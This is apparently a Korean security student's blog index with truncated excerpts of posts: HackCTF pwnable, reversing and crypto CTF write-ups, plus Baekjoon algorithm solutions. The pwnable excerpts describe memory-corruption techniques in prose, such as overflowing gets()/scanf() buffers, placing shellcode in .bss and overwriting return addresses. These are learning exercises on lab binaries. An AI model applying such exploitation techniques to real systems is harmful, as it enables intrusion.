Pwnable - Offset (150 points)- 32-bit 리눅스 실행파일- NX Enabled, PIE Enabled, FULL RELRO - PIE(Position Independent Executable) 보호기법은 처음 등장했다.- ASLR 기법이랑 유사하지만 다른, 바이너리 주소를 상대적인 주소로 랜덤하게 매핑시키는 기법이다.- PIE가 Enabled 된 바이너리를 보면 코드 영역의 값이 고정된 주소가 아닌 offset 값(메모리 영역에 동적 위치 가능)으로 주어진다.그래서 문제 이름이 offset 인가 보다.메인 함수에서는 &#34;Which function ~&#34; 이라는 문자열이 출력되고 입력 값을 받는다. 그리고 그 입력 값이 select_func()의 파라미터로 들어간다.select_func 함수에서는 바이너리 실행시 입.......

[Pwn] gdb-peda 명령어 (작성중) [내부링크]

pwnable 문제의 binary를 분석하고 Exploit 하기 위해 사용되는 gdb와 기능적인 부분은 거의 비슷하지만,- register와 code, stack 등이 실시간으로 보여진다는 점- 분기문, 함수 호출 등에 색이 적용되어 흰색으로만 보여진 gdb에 비해 가독성이 좋아짐- ROP Gadget 들을 검색할 수 있는 기능 포함 &#34;ropsearch [word]&quot;- 공격 유형에 맞는 쉘 코드 생성- checksec 내장되어 있음 등사람들이 많이 쓰는데는 이유가 있나 보다. 사용하면서 알게 된 명령어, 자주 사용하는 명령어 위주로 작성중에 있다.

[쉽게 배우는 운영체제] CHAPTER 02. 컴퓨터의 구조와 성능 향상 [내부링크]

컴퓨터의 기본 구성컴퓨터는 중앙처리장치(CPU), 메인메모리, 입력장치, 출력장치, 저장장치로 구성된...

[BOF] 메모리 구조, 8086 Memory Architecture [내부링크]

시스템 해킹을 공부하기 위해서는 메모리 구조에 대해서 확실하고 정확하게 알고 있어야 함.8086 메모리 ...

[DB] ubuntu에서 mongodb 환경 변수 설정 [내부링크]

환경 변수를 설정하는 이유1) 파일의 접근을 편하게 하기 위한 환경 설정을 해주는 것ex) 우리가 windo...

[Reversing] 어셈블리 프로그래밍 실습 환경 구축 [내부링크]

- Masm32 Editor- WinAsm- WinAsm 필요한 라이브러리 파일 Link 설정간단히 tool 들에 대해 설명...

[Reversing] CodeEngn Basic RCE L12 풀이 [내부링크]

Basic RCE L12Key를 구한 후 입력하게 되면 성공메시지를 볼 수 있다. 이때 성공메시디 대신 Key ...

[Reversing] CodeEngn Basic RCE L14 풀이 [내부링크]

Basic RCE L14Name이 CodeEngn 일때 Serial을 구하시오.(이 문제는 정답이 여러개 나올 수 있는...

[Reversing] CodeEngn Basic RCE L17 풀이 [내부링크]

Basic RCE L17Key 값이 BEDA-2F56-BC4F4368-8A71-870B 일때 Name은 무엇인가힌트 : Na...

[Reversing] Reversing.kr Easy Unpack 풀이 [내부링크]

Reversing.kr 의 Easy Unpack 문제 풀이이다.문제 이름은 Easy Unpack, OEP를 찾아 인증하면 되...

[Reversing] CodeEngn Advance RCE L09 풀이 [내부링크]

Advance RCE L09Password는 무엇인가- Author : MulleDK13- File Password : codeengn이름...

[Web] HackCTF Button 풀이 [내부링크]

Web - Button (50 points)http://ctf.j0n9hyun.xyz:2026 에 접속한다.버튼을 누르면 Flag가 출력 되...

[백준/BOJ] 2675번 문자열 반복 [내부링크]

백준 온라인 저지 2675번 문자열 반복https://www.acmicpc.net/problem/2675문제문자열 S를 입력받은 ...

[백준/BOJ] 2941번 크로아티아 알파벳 [내부링크]

백준 온라인 저지 2941번 크로아티아 알파벳https://www.acmicpc.net/problem/2941문제예전에는 운영체...

[Pwn] HackCTF x64 Simple_size_BOF [내부링크]

Pwnable - x64 Simple_size_BOF (150 points)- 64-bit 리눅스 실행파일- 대부분의 메모리 보호기법이 적용되어 있지 않은 상태- Partial RELRO -&#62; GOT Overwrite 가능바이너리를 실행하면, buf : addr 주소까지 출력이 된 상태에서 입력 값을 받는다.Line 6 : puts(&#38;s) s는 초기화 된 전역 변수로서 .rodata 영역에 위치한다.&#x3D;&#62; &#34;삐 빅 - 자 살 방 지 문 제 입 니 다. &#34; 문자열 출력Line 7 : 버퍼의 주소를 출력하는 명령인데, 실행할 때마다 다른 주소의 값이 나온다. ASLR이 적용되어 있음.Line 8 에서 BOF가 발생하게 된다. gets() 에서 입력 값의 크기에 대한 제한 없이 읽어 들이기 때문이다.NX가 활성화.......

[Pwn] HackCTF Simple_Overflow_ver_2 [내부링크]

Pwnable - Simple_Overflow_ver_2 (150 points)- 32-bit 리눅스 실행 파일- Partial RELRO 이외의 메모리 보호기법 적용되어 있지 않음- GOT Overwrite 가능- 바이너리 실행 할 때마다 데이터들이 다른 주소에 들어가는 것을 볼 수 있음 &#x3D; ASLRLine 13 에서 scanf() 가 입력 값의 크기를 제한하지 않아 BOF가 발생하는 것을 볼 수 있다. NX도 활성화 되어 있지 않고, 버퍼의 크기도 넉넉해 쉘 코드 삽입이 가능하다. 실행 할 때마다 입력 값이 들어가는 s의 주소가 매번 바뀌기 때문에 위와 같은 형태로 첫 번째 입력 값에 임의의 값을 보내고 얻은 버퍼의 주소를 얻은 다음에 다시 입력 값에 얻은 주소를 바탕으로 payload를 작성해서 보.......

[Pwn] HackCTF Basic_FSB [내부링크]

Pwnable - Basic_FSB (100 points)- 32-bit 리눅스 실행파일- 해당 바이너리에 적용된 메모리 보호기법으로는 Partial RELRO 뿐이다.- GOT Overwrite는 가능하다.- FSB(Format String Bug)는 이해하는데 조금 힘들었다. 문제에서는 기본적인 FSB에 대해서만 다뤘지만, 더 공부를 해야할 필요를 느꼈다.임의의 input을 줬더니 input 그대로를 출력해준다.setvbuf()는 단순히 버퍼를 설정하는 함수다.함수 이름 자체에서 취약한 냄새가 솔솔 풍기는 vuln() 이라는 함수를 살펴보자.s [ebp-808] 2056format [ebp-408] 1032SFPRETLine 7 : fgets()로 버퍼 s에 1024 byte 만큼 입력 받는다.Line 8 : s 버퍼에 입력 받은 값들을 1024 byte .......

[Pwn] HackCTF 내 버퍼가 흘러넘친다!!! [내부링크]

Pwnable - 내 버퍼가 흘러넘친다!!! (150 points)- 32-bit 리눅스 실행파일- 해당 바이너리에 적용된 메모리 보호기법으로는 Partial RELRO 뿐이다.- GOT Overwrite는 가능하다.Name과 input을 받는 단순한 바이너리이다.Line 7 : read()로 name에 50 만큼의 데이터를 읽어 들인다.Line 9 : gets()로 s에 데이터를 읽어 들인다.main()에 선언되어 있지 않은 name 변수는 초기화 되지 않은 전역 변수로서 .bss 메모리 영역에 위치하고 있다.바이너리에 NX가 활성화 되어 있지 않으므로 read()를 통해 name 변수에 shellcode(25 byte)를 삽입할 수 있다. 그리고 gets() 에서 RET를 덮어 씌울 수 있기 때문에, RET를 name 변수의 주소로 덮어.......

[CTF] 2020 Nullcon HackIM CTF Zelda write up [내부링크]

- Zelda and the Zombies- Zelda at the Swamp- Zelda crossing the land&#x27;s end- Zelda and the Space PuzzleWrite Up

[Pwn] HackCTF x64 Buffer Overflow [내부링크]

Pwnable - x64 Buffer Overflow (150 points)- 64-bit 리눅스 실행 파일- 해당 바이너리에 적용된 메모리 보호기법은 FULL RELRO 와 NX ENABLED 이다.- 모든 라이브러리 주소가 바인딩 되어 있으며, .bss 이외의 모든 영역에 쓰기 권한이 없다. GOT Overwrite 역시 불가능- 쉘 코드 삽입도 불가능하다.바이너리를 실행해 보면, 입력 값이 Hello 문자열 뒤에 그대로 출력된다.메인 함수를 살펴 보면, scanf() 에서 입력 값에 대한 크기 제한이 없어 BOF가 발생하게 된다. 그리고 쉘 코드를 삽입할 수 없기 때문에 바이너리의 함수 목록을 살펴 보면, callMeMaybe() 라는 쉘을 호출하는 함수가 존재 한다.그래서, [rbp-110] 부터 SFP 까지 가.......

[Pwn] Pwntools 모듈 사용법 [내부링크]

https://security-nanglam.tistory.com/155정리가 깔끔하게 잘 되어 있다. 처음 쓰는 사람들이 보기 편함.

[Pwn] HackCTF Basic BOF #1 [내부링크]

Pwnable - Basic BOF #1 (100 points)- 32-bit 리눅스 실행파일- 해당 바이너리에 적용된 메모리 보호기법으로는 Partial RELRO, NX가 활성화 되어 있다.- Partial RELRO : No RELRO와 매우 비슷, _Dynamic 섹션에 쓰기 권한 X &#x3D;&#62; GOT Overwrite 가능- NX Enabled : NX 특성으로 지정된 모든 메모리 구역은 데이터 저장을 위해서만 사용된다 &#x3D;&#62; Shellcode 사용 불가능메모리 보호기법에 대한 자세한 내용은 내용이 너무 많아 다른 포스팅에 자세히 따로 정리할 것이다.바이너리를 실행하면 input 값이 그래도 버퍼에 담겨 출력되는 모습을 볼 수 있다.- Line 12에서 v5가 0xDEADBEEF 라면 시스템 함수를 통해 쉘을 딸 수 있.......

[Pwn] HackCTF Basic_BOF #2 [내부링크]

Pwnable - Basic BOF #2 (100 points)- 32-bit 리눅스 실행파일- 해당 바이너리에 적용된 메모리 보호기법으로는 Partial RELRO, NX가 활성화 되어 있다.- Shellcode 사용 불가능, GOT Overwrite 가능하다는 것을 유념해 두고 분석을 해야 겠다.임의의 input을 줬더니 이상한 문자열이 출력된다.fgets()로 부터 133bytes 만큼의 입력을 받아들이고 sup()를 호출하면서 main()는 종료 된다.s는 ebp로 부터 8C(140) 만큼 떨어져 있고, NX 활성화로 인해 쉘 코드 삽입이 불가능, RET 변조가 불가능 하다고 판단하였다.그러나 sup() 함수의 주소를 담고 있는 void 포인터의 메모리는 덮어 쓸 수 있다.s [ebp-8C] 140void [ebp-C] 12SFPRET의.......

[백준/BOJ] 17496번 스타후르츠 [내부링크]

백준 온라인 저지 17496번 스타후르츠https://www.acmicpc.net/problem/17496문제진수는 회사 생활에 지쳐 회사를 그만두고 귀농을 하여 작물들을 키우며 생활하고 있습니다. 진수는 작물 중에서도 &#x27;스타후르츠&#x27; 라는 작물을 제일 좋아합니다.스타후르츠 씨앗을 심으면 자라는데 T일이 걸립니다. i일에 스타후르츠 씨앗을 심으면 i+T일에 수확할 수 있고 수확한 날에도 같은 칸에 씨앗을 또 심을 수 있습니다.진수에게는 스타후르츠 씨앗을 심을 수 있는 빈 칸이 C개 있고 한 칸에 한 개의 스타후르츠를 심을 수 있습니다.오늘은 여름 1일이고 N일까지 여름이 지속됩니다. 스타후르츠는 여름이 아닌 날에는 바로 시들어버리므로 N일.......

[백준/BOJ] 17502번 클레어와 팰린드롬 [내부링크]

백준 온라인 저지 17502번 클레어와 팰린드롬https://www.acmicpc.net/problem/17502문제클레어는 길이가 N인 팰린드롬 문자열을 가지고 있습니다.팰린드롬 문자열이란 앞에서부터 읽으나 뒤에서부터 읽으나 같은 문자열을 뜻합니다.예를 들어, &#34;rotator&#34;, &#34;racecar&#34;, &#34;a&#34;는 팰린드롬 문자열이지만 &#34;palindrome&#34;, &#34;poq&#34; 는 팰린드롬 문자열이 아닙니다.하루는 장난기 많은 에드거가 클레어가 가지고 있는 팰린드롬 문자열의 일부를 지워버렸습니다.그 때문에 클레어가 많이 화가 나 있습니다. 클레어를 위해 문자열을 복구해주세요.입력으로 주어진 문자열을 팰린드롬이 되도록 &#x27;?.......

[백준/BOJ] 10930번 SHA-256, 10928번 SHA-1 등 [내부링크]

백준 온라인 저지 10930번 SHA-256백준 온라인 저지 10928번 SHA-1백준 온라인 저지 10927번 md5백준 온라인 저지 10932번 SHA-512백준 온라인 저지 10931번 SHA-384백준 온라인 저지 10929번 SHA-224https://www.acmicpc.net/problem/10930https://www.acmicpc.net/problem/10928https://www.acmicpc.net/problem/10927https://www.acmicpc.net/problem/10932https://www.acmicpc.net/problem/10931https://www.acmicpc.net/problem/10929문제문자열 S가 주어졌을 때, SHA-256 해시값을 구하는 프로그램을 작성하시오.풀이파이썬에는 해시 함수 라이브러리(hashlib)가 존재한다.출력 원리는 sha-256 으로 암호화를 하고, 그 값을 16 진.......

[백준/BOJ] 1011번 Fly me to the Alpha Centauri [내부링크]

백준 온라인 저지 1011번 Fly me to the Alpha Centaurihttps://www.acmicpc.net/problem/1011문제우현이는 어린 시절, 지구 외의 다른 행성에서도 인류들이 살아갈 수 있는 미래가 오리라 믿었다. 그리고 그가 지구라는 세상에 발을 내려 놓은 지 23년이 지난 지금, 세계 최연소 ASNA 우주 비행사가 되어 새로운 세계에 발을 내려 놓는 영광의 순간을 기다리고 있다.그가 탑승하게 될 우주선은 Alpha Centauri라는 새로운 인류의 보금자리를 개척하기 위한 대규모 생활 유지 시스템을 탑재하고 있기 때문에, 그 크기와 질량이 엄청난 이유로 최신기술력을 총 동원하여 개발한 공간이동 장치를 탑재하였다. 하지만 이 공간이동 장치는 이동 거.......

[백준/BOJ] 10539번 수빈이와 수열 [내부링크]

백준 온라인 저지 10539번 수빈이와 수열https://www.acmicpc.net/problem/10539문제수빈이는 심심해서 수열을 가지고 놀고 있다. 먼저, 정수 수열 A를 쓴다. 그리고 그 아래에 정수 수열 A의 해당 항까지의 평균값을 그 항으로 하는 정수 수열 B를 쓴다. 예를 들어, 수열 A가 1, 3, 2, 6, 8이라면, 수열 B는 1/1, (1+3)/2, (1+3+2)/3, (1+3+2+6)/4, (1+3+2+6+8)/5, 즉, 1, 2, 2, 3, 4가 된다. 수열 B가 주어질 때, 수빈이의 규칙에 따른 수열 A는 뭘까?풀이수열 A를 가지고 ~ 한 규칙을 통해 수열 B를 만들어 낼 수 있다. 입력으로 &#x27;수열 B가 주어지면, 수열 A로 변환해라&#x27; 라는 문제이다.ex)B : 1/1, (1+3)/2, (1+3+2)/3, .......

[백준/BOJ] 11365번 !밀비 급일 [내부링크]

백준 온라인 저지 11365번 !밀비 급일https://www.acmicpc.net/problem/11365문제당신은 길을 가다가 이상한 쪽지를 발견했다. 그 쪽지에는 암호가 적혀 있었는데, 똑똑한 당신은 암호가 뒤집으면 해독된다는 것을 발견했다.이 암호를 해독하는 프로그램을 작성하시오.한 줄에 하나의 암호가 주어진다. 암호의 길이는 500을 넘지 않는다.마지막 줄에는 &#34;END&#34;가 주어진다. (END는 해독하지 않는다.)풀이입력 문자열을 뒤집으면 해독되므로 [::-1]을 사용한다.

[백준/BOJ] 16431번 베시와 데이지 [내부링크]

백준 온라인 저지 16431번 베시와 데이지https://www.acmicpc.net/problem/16431문제농부 존은 소 베시와 소 데이지를 키우고 있습니다.두 소는 자유롭게 1,000 × 1,000 2차원 격자 목초지를 누비며 놀고 있습니다. 농부 존이 종을 치면 베시와 데이지가 농부 존이 있는 곳으로 달려갑니다. 베시가 B에 있을 때 1초 후에 움직일 수 있는 칸과 데이지가 D에 있을 때 1초 후에 움직일 수 있는 칸을 나타낸 그림 베시는 1초 후에 꼭짓점을 공유하는 8개의 칸 중 하나로 이동할 수 있고 데이지는 1초 후에 변을 공유하는 4개의 칸 중 하나로 이동할 수 있습니다. 칸들은 충분히 넓어서 칸 하나에도 베시와 데이지 그리고 존이 같이 서 있을 수 있.......

[백준/BOJ] 16435번 스네이크버드 [내부링크]

백준 온라인 저지 16435번 스네이크버드https://www.acmicpc.net/problem/16435문제스네이크버드는 뱀과 새의 모습을 닮은 귀여운 생물체입니다. 스네이크버드의 주요 먹이는 과일이며 과일 하나를 먹으면 길이가 1만큼 늘어납니다.과일들은 지상으로부터 일정 높이를 두고 떨어져 있으며 i (1 ≤ i ≤ N) 번째 과일의 높이는 hi입니다. 스네이크버드는 자신의 길이보다 작거나 같은 높이에 있는 과일들을 먹을 수 있습니다.스네이크버드의 처음 길이가 L일때 과일들을 먹어 늘릴 수 있는 최대 길이를 구하세요.첫 번째 줄에 과일의 개수 N (1 ≤ N ≤ 1,000) 과 스네이크버드의 초기 길이 정수 L (1 ≤ L ≤ 10,000) 이 주어집니다.두 번.......

[백준/BOJ] 16433번 주디와 당근농장 [내부링크]

백준 온라인 저지 16433번 주디와 당근농장https://www.acmicpc.net/problem/16433문제주디는 오랜만에 부모님이 살고 계시는 농장을 방문하여 일손을 돕기로 하였습니다.주디가 할 일은 N × N 격자 모양의 밭에 당근을 심는 일입니다. 각 칸에는 최대 하나의 당근을 심을 수 있는데 어떤 칸에 당근이 심겨 있으면 그 칸의 변을 공유하는 칸들에는 당근을 심을 수 없습니다.주디는 이미 위치가 (R, C) 인 칸에 당근을 하나 심었고 나머지 칸에도 당근을 심으려고 합니다. 주디가 최대한 많은 당근을 심었을 때 밭이 어떤 모양일지 알려주세요. 주디는 심을 당근을 무한히 가지고 있다고 가정합니다.첫 번째 줄부터 N번째 줄까지 각 줄에 길.......

[Crypto] HackCTF Smooth CipherText [내부링크]

Crypto - Smooth CipherText (100 points)문제에서 바로 암호문이 주어졌다. 제대로 된 문장구조를 갖추고 있는 것을 보아 !, ?, ., , {, } 이외의 알파벳들이 암호화되어 있음을 알 수 있다.암호문의 마지막 줄LymoADJ{t_tzwi_3vxbd0p3_vff.afy&#x27;q_wzoxpq_dp_qfz} 을 보면, 플래그의 양식 그대로 유지하고 있는 상태에서 암호화가 되어 있다.LymoADJ 는 HackCTF 문자열임을 확인할 수 있다.c -&#62; m, C -&#62; A로 암호화 되어 있는 것을 보아 같은 &#x27;c&#x27;에 대해 여러 문자로 암호화 되어 있는 것을 보아 비즈네르 암호를 떠올려 볼 수 있다.[Vigenere Solver]https://www.guballa.de/vigenere-solver문제 전체를 복호화하면.......

[백준/BOJ] 1837번 암호제작 [내부링크]

백준 온라인 저지 1837번 암호제작https://www.acmicpc.net/problem/1837문제원룡이는 한 컴퓨터 보안 회사에서 일을 하고 있다. 그러던 도중, 원룡이는 YESWOA.COM 으로부터 홈페이지 유저들의 비밀키를 만들라는 지시를 받았다. 원룡이는 비밀 키를 다음과 같은 방법으로 만들었다.개인마다 어떤 특정한 소수 p와 q를 주어 두 소수의 곱 pq를 비밀 키로 두었다. 이렇게 해 주면 두 소수 p,q를 알지 못하는 이상, 비밀 키를 알 수 없다는 장점을 가지고 있다.하지만 원룡이는 한 가지 사실을 잊고 말았다. 최근 컴퓨터 기술이 발달함에 따라, 소수가 작은 경우에는 컴퓨터로 모든 경우의 수를 돌려보아 비밀 키를 쉽게 알 수 있다는 것이다.......

[백준/BOJ] 1855번 암호 [내부링크]

백준 온라인 저지 1855번 암호https://www.acmicpc.net/problem/1855문제준표와 세준이는 서로 솔루션을 토론 하면서 다른 사람이 자신들의 솔루션을 듣지 못하게 하도록 서로 메시지를 주고받을 때 메시지를 암호화 하여서 주고받았다. 암호를 만드는 방법은 다음과 같다. 먼저 암호화 할 문자열을 1,1부터 위에서 아래 순서대로 채운다. 그리고 가장 밑의 행을 채운 후에는 오른쪽 열에서 다시 같은 과정을 반복한다.만약에 &#34;abcdefghijkl&#34; 이라는 문자열을 3개의 열로 암호화 한다고 하자. 그러면 다음과 같이 표를 채울 수 있을 것이다.그런 후에는 이제 왼쪽-&#62; 오른쪽, 오른쪽-&#62; 왼쪽, 왼쪽-&#62;오른쪽 ... 으로 읽으면.......

[Crypto] HackCTF Classic Cipher - 1 [내부링크]

Crypto - Classic Cipther (100 points)암호문(.txt)과 함께 힌트가 주어진다.?y4zl4J_d0ur_b0f_0K zp nhsm?가 맨 앞에 위치하고 있고, 힌트가 python 에서의 문자열 뒤집기이므로 문자열을 뒤집어 본다.mshn pz K0_f0b_ru0d_J4lz4y?여기서 부터는 암호 게싱을 해야한다. 문제 이름이 고전 암호이고 고전 암호에는 또 여러 종류가 있다.1. Caesar Cipher 카이사르 암호2. Monoalphabetic Substitution Cipher 단일 대치 암호3. Playfair Cipher4. Vigenere Cipher 비즈네르 암호5. Permutation Cipher 등..카이사르 암호는 key 값에 맞추어 알파벳의 위치를 이동시키면서 암호화하는 방법으로,카이사르 암호의 일종으로 ROT-13 이라는.......

[백준/BOJ] 9536번 여우는 어떻게 울지? [내부링크]

백준 온라인 저지 9536번 여우는 어떻게 울지?https://www.acmicpc.net/problem/9536문제고대 미스테리로 전해지는 여우의 울음소리를 밝혀내기 위해 한신이는 고성능 녹음기로 무장하고 숲으로 들어갔다. 하지만 숲에는 동물들이 가득해, 녹음된 음성에는 다른 동물들의 울음소리가 섞여 있다. 그러나 한신이는 철저한 준비를 해 왔기 때문에 다른 동물들이 어떤 울음소리를 내는지 정확히 알고 있다. 그러므로 그 소리를 모두 걸러내면 남은 잡음은 분명히 여우의 울음소리일 것이다.첫 번째 줄에는 테스트케이스의 개수 T가 입력된다. 각 테스트케이스는 아래와 같이 구성되어 있다.테스트케이스의 첫 줄에는 몇 개의 단어로 이루어진 녹.......

[백준/BOJ] 5555번 반지 [내부링크]

백준 온라인 저지 5555번 반지https://www.acmicpc.net/problem/5555문제당신은 N개의 반지를 가지고 있다. 각각의 반지는 대문자 10 문자로 이루어진 문자열이 새겨져 있다. 반지는 문자열의 시작과 끝이 연결된 형태로 문자가 새겨져 있다. 반지에 각인된 문자열을 거꾸로 읽는 걱정은 없다.찾고자하는 문자열이 주어졌을 때 그 문자열을 포함하는 반지가 몇 개인지를 발견하는 프로그램을 작성하라.입력은 총 2 + N 줄 이다.첫 번째 줄에는 1 자 이상 10 자 이하의 대문자로 구성된 찾고자 하는 문자열이 적혀있다.두 번째 줄에는 반지의 개수 N (1 ≦ N ≦ 100)이 적혀있다.2+i 줄(1 ≦ i ≦ N)엔 i개의 반지에 새겨져있고, 10 문자로.......

[백준/BOJ] 1543번 문서 검색 [내부링크]

백준 온라인 저지 1543번 문서 검색https://www.acmicpc.net/problem/1543문제세준이는 영어로만 이루어진 어떤 문서를 검색하는 함수를 만들려고 한다. 이 함수는 어떤 단어가 총 몇 번 등장하는지 세려고 한다. 그러나, 세준이의 함수는 중복되어 세는 것은 빼고 세야 한다. 예를 들어, 문서가 abababa이고, 그리고 찾으려는 ababa라면, 세준이의 이 함수는 이 단어를 0번부터 찾을 수 있고, 2번부터도 찾을 수 있다. 그러나 동시에 셀 수는 없다.세준이는 문서와 검색하려는 단어가 주어졌을 때, 그 단어가 최대 몇 번 중복되지 않게 등장하는지 구하는 프로그램을 작성하시오.첫째 줄에 중복되지 않게 최대 몇 번 등장하는지 출력한다.......

[백준/BOJ] 1718번 암호 [내부링크]

백준 온라인 저지 1718번 암호https://www.acmicpc.net/problem/1718문제Vigenere cipher이라는 암호화 방법은 암호화하려는 문장 (평문)의 단어와 암호화 키를 숫자로 바꾼 다음, 평문의 단어에 해당하는 숫자에 암호 키에 해당하는 숫자를 더하는 방식이다. 이 방법을 변형하여 평문의 단어에 암호화 키에 해당하는 숫자를 빼서 암호화하는 방식을 생각해 보자.예를 들어 암호화 키가 love이고, 암호화할 문장이 “nice day” 라면 다음과 같이 암호화가 이루어진다.제시된 평문의 첫 번째 문자인 ‘n’은 해당 암호화 키 ‘l’의 알파벳 순서가 12 이므로 알파벳상의 순서에서 ‘n’보다 12앞의 문자인 ‘b’로 변형된다.변형된 문자가 ‘.......

[백준/BOJ] 2810번 컵홀더 [내부링크]

백준 온라인 저지 2810번 컵홀더https://www.acmicpc.net/problem/2810문제십년이면 강산이 변한다.강산이네 동네에 드디어 극장이 생겼고, 강산이는 극장에 놀러갔다. 매점에서 콜라를 산 뒤, 자리에 앉은 강산이는 큰 혼란에 빠졌다. 양쪽 컵홀더를 이미 옆 사람들이 차지했기 때문에 콜라를 꽂을 컵 홀더가 없었기 때문이다. 영화를 보는 내내 콜라를 손에 들고 있던 강산이는 극장에 다시 왔을 때는 꼭 콜라를 컵 홀더에 놓겠다는 다짐을 한 후 집에 돌아갔다.극장의 한 줄에는 자리가 N개가 있다. 서로 인접한 좌석 사이에는 컵홀더가 하나씩 있고, 양 끝 좌석에는 컵홀더가 하나씩 더 있다. 또, 이 극장에는 커플석이 있다. 커플석 사.......

[백준/BOJ] 10773번 제로 [내부링크]

백준 온라인 저지 10773번 제로https://www.acmicpc.net/problem/10773문제나코더 기장 재민이는 동아리 회식을 준비하기 위해서 장부를 관리하는 중이다.재현이는 재민이를 도와서 돈을 관리하는 중인데, 애석하게도 항상 정신없는 재현이는 돈을 실수로 잘못 부르는 사고를 치기 일쑤였다.재현이는 잘못된 수를 부를 때마다 0을 외쳐서, 가장 최근에 재민이가 쓴 수를 지우게 시킨다.재민이는 이렇게 모든 수를 받아 적은 후 그 수의 합을 알고 싶어 한다. 재민이를 도와주자!재민이가 최종적으로 적어 낸 수의 합을 출력한다.풀이문제의 원리는 스택의 push와 pop과 같다. 결과는 스택에 남아 있는 값들을 다 더해서 출력하면 된다.......

[백준/BOJ] 1371번 가장 많은 글자 [내부링크]

백준 온라인 저지 1371번 가장 많은 글자https://www.acmicpc.net/problem/1371문제영어에서는 어떤 글자가 다른 글자보다 많이 쓰인다. 에를 들어, 긴 글에서 약 12.31% 글자는 e이다.어떤 글이 주어졌을 때, 가장 많이 나온 글자를 출력하는 프로그램을 작성하시오.첫째 줄에 가장 많이 나온 문자를 출력한다. 여러 개일 경우에는 알파벳 순으로 앞서는 것부터 모두 공백없이 출력한다.풀이문제의 입력 방식에 대해 조금 고민했던 문제이다.import sys / sys.stdin.readline().rstrip()으로 입력 값을 받았는데 여기서는 input() 으로 입력을 받았다.전자의 방법으로 입력을 받으면 try ~ except 부분에서 파일의 끝(EOF)를 만나게.......

[백준/BOJ] 11586번 지영 공주님의 마법 거울 [내부링크]

백준 온라인 저지 11586번 지영 공주님의 마법 거울https://www.acmicpc.net/problem/11586문제천나라 민호성의 지영 공주님은 매우 아름답다. 공주님 자신도 이 세상 그 누구보다 자신이 아름답다는 것을 알고 있다. 공주님은 자신의 아름다움이 세월의 저편으로 사라지는 것을 매우 두려워한다. 그래서 하루에도 수십 수백 번씩 거울을 보며 자신의 모습이 여전히 아름다운지 확인을 거듭한다. 그러던 어느 날, 세상의 다양한 장면들을 담고 싶었던 공주님의 마법거울은 매일 똑같은 모습만을 비추는 자신의 운명에 좌절하며 앞으로의 운명을 개척하기로 결심했다. 마법거울은 매일 자신의 심리상태에 따라 거울에 비친 공주님의 모습을 좌.......

[백준/BOJ] 11557번 Yangjojang of The Year [내부링크]

백준 온라인 저지 11557번 Yangjojang of The Yearhttps://www.acmicpc.net/problem/11557문제입학 OT때 누구보다도 남다르게 놀았던 당신은 자연스럽게 1학년 과대를 역임하게 되었다.타교와의 조인트 엠티를 기획하려는 당신은 근처에 있는 학교 중 어느 학교가 술을 가장 많이 먹는지 궁금해졌다.학교별로 한 해동안 술 소비량이 주어질 때, 가장 술 소비가 많은 학교 이름을 출력하여라.입력의 첫 줄에는 테스트 케이스의 숫자 T가 주어진다.매 입력의 첫 줄에는 학교의 숫자 정수 N(1 ≤ N ≤ 100)이 주어진다.이어서 N줄에 걸쳐 학교 이름 S(1 ≤ |S| ≤ 20, S는 공백없는 대소문자 알파벳 문자열)와 해당 학교가 지난 한 해동안 소.......

[백준/BOJ] 5086번 배수와 약수 [내부링크]

백준 온라인 저지 5086번 배수와 약수https://www.acmicpc.net/problem/5086문제4 × 3 &#x3D; 12이다.이 식을 통해 다음과 같은 사실을 알 수 있다.3은 12의 약수이고, 12는 3의 배수이다.4도 12의 약수이고, 12는 4의 배수이다.두 수가 주어졌을 때, 다음 3가지 중 어떤 관계인지 구하는 프로그램을 작성하시오.첫 번째 숫자가 두 번째 숫자의 약수이다.첫 번째 숫자가 두 번째 숫자의 배수이다.첫 번째 숫자가 두 번째 숫자의 약수와 배수 모두 아니다.각 테스트 케이스마다 첫 번째 숫자가 두 번째 숫자의 약수라면 factor를, 배수라면 multiple을, 둘 다 아니라면 neither를 출력한다.풀이테스트 케이스를 리스트로 받아 그 둘의 관.......

[백준/BOJ] 14656번 조교는 새디스트야!! [내부링크]

백준 온라인 저지 14656번 조교는 새디스트야!!https://www.acmicpc.net/problem/14656문제헌우는 제주도로 수학여행을 갔다. 들뜬 마음으로 공항을 나와 맞은 것은, 선글라스를 쓴 조교였다.&#34;선린인들, 아주 예의바르고 최고라고 들었는데 제가 맡았던 학교 중에서 최악입니다. 여기서 번호 순서대로 서지 않은 사람들은 전부 빠따로 맞을 각오하시기 바랍니다.“그 말인즉슨, 자신의 번호 순대로 서지 않은 사람들은 엉덩이가 야구공이 된다는 것이다. 헌우네 반 학생 수 N이 주어지고 N명의 번호가 현재 줄 서있는 순서대로 주어질 때, 몇 명의 학생들이 맞게 될지 구하여라.풀이입력 받은 학생 수 만큼의 리스트를 생성했다........

[백준/BOJ] 14681번 Quadrant Selection [내부링크]

백준 온라인 저지 14681번 Quadrant Selectionhttps://www.acmicpc.net/problem/14681문제A common problem in mathematics is to determine which quadrant a given point lies in. There are four quadrants, numbered from 1 to 4, as shown in the diagram below:For example, the point A, which is at coordinates (12, 5) lies in quadrant 1 since both its x and y values are positive, and point B lies in quadrant 2 since its x value is negative and its y value is positive.Your job is to take a point and determine the quadrant it is in. You can assume that neither of the two coordinates will be 0.풀이문제.......

[백준/BOJ] 9933번 민균이의 비밀번호 [내부링크]

백준 온라인 저지 9933번 민균이의 비밀번호https://www.acmicpc.net/problem/9933문제창영이는 민균이의 컴퓨터를 해킹해 텍스트 파일 하나를 자신의 메일로 전송했다. 파일에는 단어가 한 줄에 하나씩 적혀있었고, 이 중 하나는 민균이가 온라인 저지에서 사용하는 비밀번호이다.파일을 살펴보던 창영이는 모든 단어의 길이가 홀수라는 사실을 알아내었다. 그리고 언젠가 민균이가 이 목록에 대해서 얘기했던 것을 생각해냈다. 민균이의 비밀번호는 목록에 포함되어 있으며, 비밀번호를 뒤집어서 쓴 문자열도 포함되어 있다.예를 들어, 민균이의 비밀번호가 &#34;tulipan&#34;인 경우에 목록에는 &#34;napilut&#34;도 존재해야 한다. 알.......

[백준/BOJ] 15781번 헬멧과 조끼 [내부링크]

